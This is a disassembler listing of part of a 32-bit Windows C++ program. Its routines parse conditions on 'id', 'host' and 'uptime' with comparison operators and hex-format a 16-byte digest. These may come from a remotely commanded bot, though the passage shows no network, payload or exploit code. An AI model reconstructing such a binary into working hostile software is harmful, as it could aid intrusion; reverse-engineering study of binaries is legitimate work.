lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_412B50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C10 proc near ; CODE XREF: sub_401979j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412C10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_412C10 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412CD0 proc near ; CODE XREF: sub_401F1Ej
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412CD0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_412CD0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412D70: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43AC4E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_413096
push ebx
push edi
push offset asc_444600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016B8
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016B8
push offset asc_444600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016B8
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013E3
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013E3
lea ecx, [esp+40h]
add ebx, eax
call sub_4013E3
mov ecx, edi
add ebx, eax
call sub_4013E3
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E47
push offset asc_444600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016B8
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E47
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40202C
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40202C
push offset asc_444D14 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412EF5
xor edi, edi
loc_412EF5: ; CODE XREF: ___:00412EF1j
push offset asc_444D10 ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F0C
mov edi, 1
loc_412F0C: ; CODE XREF: ___:00412F05j
push offset asc_444D0C ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F23
mov edi, 2
loc_412F23: ; CODE XREF: ___:00412F1Cj
push offset asc_444D08 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F3A
mov edi, 3
loc_412F3A: ; CODE XREF: ___:00412F33j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F94
test edi, edi
jnz short loc_412F6A
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44955A
call sub_4012EE
test eax, eax
jz short loc_412F94
jmp short loc_412F87
; ---------------------------------------------------------------------------
loc_412F6A: ; CODE XREF: ___:00412F4Ej
cmp edi, 1
jnz short loc_412F94
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44955A
call sub_4012EE
test eax, eax
jnz short loc_412F94
loc_412F87: ; CODE XREF: ___:00412F68j
push 0
push esi
mov ecx, offset byte_449277
call sub_401A41
loc_412F94: ; CODE XREF: ___:00412F4Aj
; ___:00412F66j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FE7
test edi, edi
jnz short loc_412FC8
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D809D
call sub_4013ED
test eax, eax
jnz loc_413049
jmp short loc_41303C
; ---------------------------------------------------------------------------
loc_412FC8: ; CODE XREF: ___:00412FA8j
cmp edi, 1
jnz short loc_413049
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D809D
call sub_4013ED
test eax, eax
jz short loc_413049
jmp short loc_41303C
; ---------------------------------------------------------------------------
loc_412FE7: ; CODE XREF: ___:00412FA4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_413049
lea ecx, [esp+10h]
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_40165E
test edi, edi
jnz short loc_41301D
cmp eax, ebx
jz short loc_413049
jmp short loc_41303C
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: ___:00413015j
cmp edi, 1
jnz short loc_413028
cmp eax, ebx
jnz short loc_413049
jmp short loc_41303C
; ---------------------------------------------------------------------------
loc_413028: ; CODE XREF: ___:00413020j
cmp edi, 2
jnz short loc_413033
cmp eax, ebx
jle short loc_413049
jmp short loc_41303C
; ---------------------------------------------------------------------------
loc_413033: ; CODE XREF: ___:0041302Bj
cmp edi, 3
jnz short loc_413049
cmp eax, ebx
jge short loc_413049
loc_41303C: ; CODE XREF: ___:00412FC6j
; ___:00412FE5j ...
push 0
push esi
mov ecx, offset byte_449277
call sub_401A41
loc_413049: ; CODE XREF: ___:00412FC0j
; ___:00412FCBj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_413098
; ---------------------------------------------------------------------------
loc_413096: ; CODE XREF: ___:00412DA9j
mov al, 1
loc_413098: ; CODE XREF: ___:00413094j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4131A0 proc near ; CODE XREF: sub_40165Ej
nop
call near ptr 27F0CAAh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4131A0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131E0 proc near ; CODE XREF: sub_402018j
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4131E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401753
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F23
sub_4131E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401852
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43F044
call sub_401933
mov ecx, ebx
call sub_401C76
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132B0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j
push esi
mov esi, ecx
call sub_401CA3
sub_4132B0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_4132C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4132C8: ; CODE XREF: ___:004132BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132E0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43F044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401933
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C76
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014BF
sub_4132E0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4133A0 proc near ; CODE XREF: sub_401A05j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4133A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4133A0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019C4
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413490 proc near ; CODE XREF: sub_401CE4j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_413490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017EE
test eax, eax
jz short loc_413537
lea ecx, [esp+18h+var_14]
call sub_402275
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413537
loc_4134F8: ; CODE XREF: sub_413490+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41355C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_4134F8
loc_413537: ; CODE XREF: sub_413490+2Ej
; sub_413490+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41355C: ; CODE XREF: sub_413490+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_413490 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4135D0 proc near ; CODE XREF: sub_402130j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4135D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017EE
test eax, eax
jz loc_4136A3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401992
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jz short loc_4136A3
loc_41363F: ; CODE XREF: sub_4135D0+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014D3
mov ecx, ebx
call sub_401CE4
mov esi, eax
test esi, esi
jz short loc_41366C
mov edi, [esi]
loc_41366C: ; CODE XREF: sub_4135D0+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B86
test eax, eax
jz short loc_4136CB
test esi, esi
jnz short loc_4136CB
lea ecx, [esp+28h+var_18]
call sub_4018C5
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jnz short loc_41363F
loc_4136A3: ; CODE XREF: sub_4135D0+31j
; sub_4135D0+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4136B6: ; CODE XREF: sub_4135D0+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_4136CB: ; CODE XREF: sub_4135D0+AAj
; sub_4135D0+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4136B6
sub_4135D0 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413730 proc near ; CODE XREF: sub_401F64j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413730
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017EE
test eax, eax
jz short loc_4137D4
lea ecx, [esp+14h+var_14]
call sub_401E38
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jz short loc_4137D4
loc_413796: ; CODE XREF: sub_413730+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jz short loc_413806
lea ecx, [esp+14h+var_14]
call sub_4020C2
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jnz short loc_413796
loc_4137D4: ; CODE XREF: sub_413730+2Bj
; sub_413730+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401582
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413806: ; CODE XREF: sub_413730+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401582
sub_413730 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4138A0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4138A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017EE
test eax, eax
jz loc_4139D3
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A69
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_40142E
push offset byte_448F30
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015E1
lea ecx, [esp+0A8h+arg_0]
call sub_4013E3
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014DD
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C26
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402176
add esp, 14h
loc_41393B: ; CODE XREF: sub_4138A0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_40142E
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016C7
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41393B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B86
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_4139CE
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4139EC
; ---------------------------------------------------------------------------
loc_4139CE: ; CODE XREF: sub_4138A0+10Cj
call sub_401226
loc_4139D3: ; CODE XREF: sub_4138A0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4139EC: ; CODE XREF: sub_4138A0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4138A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A70 proc near ; CODE XREF: sub_40192Ej
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413A70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014D3
mov ecx, esi
call sub_402130
test eax, eax
jz short loc_413B1E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_401726
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014D3
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F64
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413B1E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413B1E: ; CODE XREF: sub_413A70+3Fj
; sub_413A70+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_413A70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413BA0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_43AE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40192E
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413C30 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413C30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413D79
lea ecx, [esp+48h+arg_0]
call sub_4017EE
test eax, eax
jz loc_413D79
push esi
push edi
push offset asc_444C64 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413D53
add ebp, 54h
loc_413CB0: ; CODE XREF: sub_413C30+11Dj
push 15h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413CD0
mov ecx, eax
call sub_401F4B
jmp short loc_413CD2
; ---------------------------------------------------------------------------
loc_413CD0: ; CODE XREF: sub_413C30+95j
xor eax, eax
loc_413CD2: ; CODE XREF: sub_413C30+9Ej
push offset asc_444C64 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016B8
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40202C
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_401488
; ---------------------------------------------------------------------------
inc esi
push offset asc_444C64 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413CB0
loc_413D53: ; CODE XREF: sub_413C30+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413D79: ; CODE XREF: sub_413C30+26j
; sub_413C30+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413C30 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E00 proc near ; CODE XREF: sub_401F4Bj
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_413E00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413E20: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401870
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E60 proc near ; CODE XREF: sub_4018ACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
